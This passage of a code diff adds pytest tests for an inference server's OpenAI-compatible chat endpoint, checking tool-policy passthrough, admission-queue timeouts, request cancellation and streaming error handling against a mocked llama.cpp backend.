+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "json"}],
+                response_format = {"type": "json_object"},
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["ok"] is True
+            assert captured["body"]["response_format"] == {"type": "json_object"}
+            assert "tools" not in captured["body"]
+            assert "tool_choice" not in captured["body"]
+        finally:
+            reset_tool_policy()
+
+    def test_global_enable_tools_does_not_replace_client_tools_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        captured = {}
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("Studio tool loop should not replace client tools")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming",
+                fake_passthrough,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "use client tool"}],
+                tools = client_tools,
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["ok"] is True
+            assert captured["body"]["tools"] == client_tools
+            assert captured["body"]["tool_choice"] == "auto"
+        finally:
+            reset_tool_policy()
+
+    def test_global_enable_tools_honors_client_tool_choice_none(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**kwargs):
+            assert kwargs["max_tokens"] is None
+            yield "plain response"
+
+        def _tools(**_kwargs):
+            raise AssertionError("tool_choice='none' must not start Studio's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "do not use tools"}],
+                tools = client_tools,
+                tool_choice = "none",
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == "plain response"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "plain response"
+            assert monitor.active_count() == 0
+        finally:
+            reset_tool_policy()
+
+    def test_enabled_tools_without_enable_tools_keeps_response_format_passthrough(
+        self, monkeypatch
+    ):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        captured = {}
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("enabled_tools alone must not start Studio's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.enabled-tools.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [{"role": "user", "content": "json"}],
+            enabled_tools = ["web_search"],
+            response_format = {"type": "json_object"},
+        )
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+
+        assert json.loads(response.body)["ok"] is True
+        assert captured["body"]["response_format"] == {"type": "json_object"}
+
+    def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        captured = {}
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("enabled_tools alone must not start Studio's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.enabled-tools.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [{"role": "user", "content": "use client tool"}],
+            enabled_tools = ["web_search"],
+            tools = client_tools,
+        )
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+
+        assert json.loads(response.body)["ok"] is True
+        assert captured["body"]["tools"] == client_tools
+        assert captured["body"]["tool_choice"] == "auto"
+
     def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch):
         def _generate(**_kwargs):
             yield "<think>plan</think>visible"
@@ -1612,6 +3011,313 @@ class TestGgufVisionToolRouting:
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_standard_gguf_non_streaming_admission_timeout_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await openai_chat_completions(
+                        payload,
+                        request = Request(),
+                        current_subject = "test",
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_non_streaming_cancel_id_stops_queued_request_before_generation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start after cancel_id")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "standard-nonstream-admission-cancel"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                cancel_id = cancel_id,
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = Request(),
+                    current_subject = "test",
+                )
+            )
+            try:
+                for _ in range(50):
+                    if cancel_id in inf_mod._CANCEL_REGISTRY:
+                        break
+                    await asyncio.sleep(0.01)
+                assert cancel_id in inf_mod._CANCEL_REGISTRY
+                assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1
+                with pytest.raises(HTTPException) as exc:
+                    await asyncio.wait_for(task, timeout = 0.5)
+                assert exc.value.status_code == 499
+            finally:
+                if not task.done():
+                    task.cancel()
+                    with pytest.raises(asyncio.CancelledError):
+                        await task
+                blocker.release()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_non_streaming_admission_task_cancel_cleans_tracker_and_slot(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            cancel_id = "standard-nonstream-task-cancel"
+
+            async def fake_wait(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start after task cancel")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_wait_for_openai_admission_non_streaming",
+                fake_wait,
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                cancel_id = cancel_id,
+            )
+            with pytest.raises(asyncio.CancelledError):
+                await openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_non_streaming_admission_timeout_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            def _generate(**_kwargs):
+                raise AssertionError("GGUF tool loop must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            queue = get_llama_admission_queue("http://llama.tool.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await openai_chat_completions(
+                        payload,
+                        request = Request(),
+                        current_subject = "test",
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_non_streaming_cancel_drains_worker_before_releasing_slot(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _tools(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _tools,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, timeout = 1.0)
+
+            assert released.is_set()
+            assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1664,6 +3370,58 @@ class TestGgufVisionToolRouting:
         assert entry["completion_tokens"] == 3
         assert monitor.active_count() == 0
 
+    def test_non_streaming_gguf_cancel_drains_worker(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _generate(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_standard_gguf_merges_system_and_developer_messages(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1774,7 +3532,12 @@ class TestApiMonitorProviderAndCompletionStreams:
         async def is_disconnected(self):
             return False
 
-    async def _run_passthrough_stream(self, monkeypatch, lines):
+    async def _run_passthrough_stream(
+        self,
+        monkeypatch,
+        lines,
+        stream_options = None,
+    ):
         import routes.inference as inf_mod
 
         class Request:
@@ -1802,6 +3565,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             model = "default",
             messages = [ChatMessage(role = "user", content = "hi")],
             stream = True,
+            stream_options = stream_options,
             tools = [
                 {
                     "type": "function",
@@ -1829,6 +3593,787 @@ class TestApiMonitorProviderAndCompletionStreams:
         chunks = [chunk async for chunk in response.body_iterator]
         return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor)
 
+    def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            assert "data: [DONE]\n\n" in "".join(chunks)
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_forwards_backend_auth_headers(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured_headers = {}
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                captured_headers.update(dict(req.headers))
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "chatcmpl-test",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+
+            assert "data: [DONE]\n\n" in "".join(chunks)
+            assert captured_headers["authorization"] == "Bearer secret"
+            assert captured_headers["connection"] == "close"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_keepalive_while_upstream_headers_are_pending(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(
+                inf_mod,
+                "_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S",
+                0.01,
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+
+            first = await asyncio.wait_for(response.body_iterator.__anext__(), timeout = 0.2)
+            assert first == ": keep-alive\n\n"
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data: [DONE]\n\n" in body
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(400, content = b'{"error":"bad"}')
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            assert exc.value.status_code == 400
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                raise httpx.ConnectError("connectivity issue")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            assert exc.value.status_code == 502
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(400, content = b'{"error":"bad"}')
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data:" in body
+            assert '"error"' in body
+            assert "data: [DONE]" in body
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "bad" in entry["error"]
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)"
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(400, content = ctx_msg.encode("utf-8"))
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 5.0,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            events = [
+                line.removeprefix("data: ")
+                for line in body.splitlines()
+                if line.startswith("data: ")
+            ]
+            assert events[-1] == "[DONE]"
+            payload = json.loads(events[0])
+            assert payload["error"]["code"] == "context_length_exceeded"
+            assert payload["error"]["param"] == "messages"
+            assert isinstance(payload["error"], dict)
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_context_error_retries_truncation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            calls = []
+            err_body = json.dumps(
+                {
+                    "error": {
+                        "message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
+                        "n_prompt_tokens": 10000,
+                        "n_ctx": 2048,
+                    }
+                }
+            ).encode("utf-8")
+
